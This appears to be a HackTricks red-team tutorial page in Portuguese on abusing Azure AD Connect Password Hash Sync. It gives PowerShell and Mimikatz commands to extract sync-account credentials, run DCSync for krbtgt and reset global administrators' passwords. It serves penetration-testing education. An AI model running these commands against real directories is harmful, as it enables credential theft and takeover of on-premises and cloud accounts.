Az - PHS - Password Hash Sync

Aprenda hacking AWS do zero ao avançado com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

Informações Básicas

A partir da documentação: Sincronização de hash de senha é um dos métodos de login usados para alcançar identidade híbrida. Azure AD Connect sincroniza um hash, do hash, da senha de um usuário de uma instância do Active Directory local para uma instância do Azure AD baseada na nuvem.

É o método mais comum usado por empresas para sincronizar um AD local com o Azure AD.

Todos os usuários e um hash dos hashes de senha são sincronizados do local para o Azure AD. No entanto, senhas em texto claro ou os hashes originais não são enviados para o Azure AD. Além disso, os grupos de segurança integrados (como administradores de domínio...) não são sincronizados com o Azure AD.

A sincronização de hashes ocorre a cada 2 minutos. No entanto, por padrão, expiração de senha e expiração de conta não são sincronizadas no Azure AD. Portanto, um usuário cuja senha local tenha expirado (não alterada) pode continuar a acessar recursos do Azure usando a senha antiga.

Quando um usuário local deseja acessar um recurso do Azure, a autenticação ocorre no Azure AD.

PHS é necessário para recursos como Proteção de Identidade e Serviços de Domínio AAD.

Pivoteamento

Quando o PHS é configurado, algumas contas privilegiadas são automaticamente criadas:

  • A conta MSOL_<installationID> é automaticamente criada no AD local. Essa conta recebe a função de Contas de Sincronização de Diretório (consulte a documentação), o que significa que ela tem permissões de replicação (DCSync) no AD local.

  • Uma conta Sync_<nome do servidor ADConnect local>_installationID é criada no Azure AD. Essa conta pode redefinir a senha de QUALQUER usuário (sincronizado ou apenas na nuvem) no Azure AD.

As senhas das duas contas privilegiadas anteriores são armazenadas em um servidor SQL no servidor onde o Azure AD Connect está instalado. Os administradores podem extrair as senhas desses usuários privilegiados em texto claro. O banco de dados está localizado em C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf.

É possível extrair a configuração de uma das tabelas, sendo uma delas criptografada:

SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;

A configuração criptografada é criptografada com DPAPI e contém as senhas do usuário MSOL_* no AD local e a senha do Sync_* no AzureAD. Portanto, comprometendo essas informações, é possível elevar privilégios para o AD e para o AzureAD.

Você pode encontrar uma visão geral completa de como essas credenciais são armazenadas e descriptografadas nesta palestra.

Encontrando o servidor Azure AD connect

Se o servidor onde o Azure AD Connect está instalado estiver associado a um domínio (recomendado na documentação), é possível encontrá-lo com:

# ActiveDirectory module
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl

#Azure AD module
Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"}

Abusando de MSOL_*

# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
Get-AADIntSyncCredentials

# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD
runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'

Você também pode usar adconnectdump para obter essas credenciais.

Abusando do Sync_*

Comprometendo a conta Sync_*, é possível redefinir a senha de qualquer usuário (incluindo Administradores Globais)

# This command, run previously, will give us alse the creds of this account
Get-AADIntSyncCredentials

# Get access token for Sync_* account
$passwd = ConvertTo-SecureString '<password>' -AsPlainText - Force
$creds = New-Object System.Management.Automation.PSCredential ("Sync_SKIURT-JAUYEH_123123123123@domain.onmicrosoft.com", $passwd)
Get-AADIntAccessTokenForAADGraph -Credentials $creds - SaveToCache

# Get global admins
Get-AADIntGlobalAdmins

# Get the ImmutableId of an on-prem user in Azure AD (this is the Unique Identifier derived from on-prem GUID)
Get-AADIntUser -UserPrincipalName onpremadmin@domain.onmicrosoft.com | select ImmutableId

# Reset the users password
Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustAPass12343.%" -Verbose

# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)

Também é possível modificar as senhas apenas dos usuários da nuvem (mesmo que isso seja inesperado)

# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
# The CloudAnchor is of the format USER_ObjectID.
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID

# Reset password
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers

Também é possível extrair a senha deste usuário.

Outra opção seria atribuir permissões privilegiadas a um principal de serviço, o que o usuário Sync tem permissões para fazer, e então acessar esse principal de serviço como uma forma de escalonamento de privilégios.

SSO Contínuo

É possível usar SSO Contínuo com PHS, o que é vulnerável a outros abusos. Verifique em:

pageAz - Seamless SSO

Referências

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

Última actualización